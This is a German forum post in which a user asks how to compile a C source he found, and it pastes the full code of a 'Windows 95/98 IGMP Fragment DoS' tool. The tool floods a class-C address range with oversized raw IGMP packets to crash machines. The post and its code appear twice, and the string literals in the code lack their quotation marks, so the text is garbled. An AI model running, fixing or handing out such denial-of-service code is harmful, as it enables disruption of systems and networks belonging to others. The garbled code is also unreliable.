- #1
C
cane
Bekanntes Mitglied
Themenersteller
- Dabei seit
- 30.05.2002
- Beiträge
- 68
- Reaktionspunkte
- 0
- Ort
- NRW
hallo leutz!
ich teste in meinem netz gerade verschiedene security bugs und versuche sie zu schließen.
bis jetzt hab ich nur mit fertigen exploits gearbeitet aber heute hab ich einen quelltext gefunden, den ich gerne ausprobieren würde.
Also:
1. in welcher sprache ist er geschrieben (ich glaube C, oder?
2. wie bekomme ich ein fertiges programm raus?
ich denke ich muß den text kompilieren gibt es ne freeware programmierumgebung für C (wenns C ist?
der quelltext:
/* Windows 95 / 98 IGMP Fragment DoS
* by Michael Stevens
* http://openbsd.ods.org/
*
* Credits to Microsoft Security Website
*/
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char **argv)
{
struct hostent *pHostentry;
struct sockaddr_in sock;
int explode,sd,times,x;
char *tcp_dest;
unsigned short port;
char big[20000];
int y, sleeper = 100000;
printf(Mass IGMP Nuke by Michael A Stevens\n);
if (argc < 5)
{
printf(usage: %s classc.255 port size repititions\n,argv[0]);
printf(\n\nexample:\n);
printf(%s 192.168.0.255 80 8000 10\n,argv[0]);
exit(1);
}
if (argc > 5) sleeper = atoi(argv[5]);
tcp_dest = argv[1];
port = atoi(argv[2]);
explode = atoi(argv[3]);
times = atoi(argv[4]);
if ((pHostentry = gethostbyname(tcp_dest)) == NULL)
{
printf(Resolve of %s failed please try again.\n, argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pHostentry->h_addr, pHostentry->h_length);
for (y = 0; y < 255; y++)
{
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
sock.sin_addr.s_addr -= 16777216;
if ((sd = socket(AF_INET, SOCK_RAW, 2)) == -1)
{
printf(Could not allocate socket.\n);
exit(1);
}
if ( (connect(sd, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf(Couldn't connect to %s\n,inet_ntoa(sock.sin_addr.s_addr));
goto a;
}
if ( send(sd, big, explode, 0) == -1)
{
printf(Error sending check size (lower)\n);
close(sd);
exit(1);
}
for (x = 0; x < times; x++)
{
usleep(sleeper);
if (send(sd, big, explode, 0) == -1)
{
printf(Error sending.\n);
exit(1);
}
printf(Sent %s packet(%d)\n,inet_ntoa(sock.sin_addr.s_addr),x);
}
a:
close(sd);
}
return 0;
}
thanks im vorraus
mfg
cane
ich teste in meinem netz gerade verschiedene security bugs und versuche sie zu schließen.
bis jetzt hab ich nur mit fertigen exploits gearbeitet aber heute hab ich einen quelltext gefunden, den ich gerne ausprobieren würde.
Also:
1. in welcher sprache ist er geschrieben (ich glaube C, oder?
2. wie bekomme ich ein fertiges programm raus?
ich denke ich muß den text kompilieren gibt es ne freeware programmierumgebung für C (wenns C ist?
der quelltext:
/* Windows 95 / 98 IGMP Fragment DoS
* by Michael Stevens
* http://openbsd.ods.org/
*
* Credits to Microsoft Security Website
*/
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char **argv)
{
struct hostent *pHostentry;
struct sockaddr_in sock;
int explode,sd,times,x;
char *tcp_dest;
unsigned short port;
char big[20000];
int y, sleeper = 100000;
printf(Mass IGMP Nuke by Michael A Stevens\n);
if (argc < 5)
{
printf(usage: %s classc.255 port size repititions\n,argv[0]);
printf(\n\nexample:\n);
printf(%s 192.168.0.255 80 8000 10\n,argv[0]);
exit(1);
}
if (argc > 5) sleeper = atoi(argv[5]);
tcp_dest = argv[1];
port = atoi(argv[2]);
explode = atoi(argv[3]);
times = atoi(argv[4]);
if ((pHostentry = gethostbyname(tcp_dest)) == NULL)
{
printf(Resolve of %s failed please try again.\n, argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pHostentry->h_addr, pHostentry->h_length);
for (y = 0; y < 255; y++)
{
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
sock.sin_addr.s_addr -= 16777216;
if ((sd = socket(AF_INET, SOCK_RAW, 2)) == -1)
{
printf(Could not allocate socket.\n);
exit(1);
}
if ( (connect(sd, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf(Couldn't connect to %s\n,inet_ntoa(sock.sin_addr.s_addr));
goto a;
}
if ( send(sd, big, explode, 0) == -1)
{
printf(Error sending check size (lower)\n);
close(sd);
exit(1);
}
for (x = 0; x < times; x++)
{
usleep(sleeper);
if (send(sd, big, explode, 0) == -1)
{
printf(Error sending.\n);
exit(1);
}
printf(Sent %s packet(%d)\n,inet_ntoa(sock.sin_addr.s_addr),x);
}
a:
close(sd);
}
return 0;
}
thanks im vorraus
mfg
cane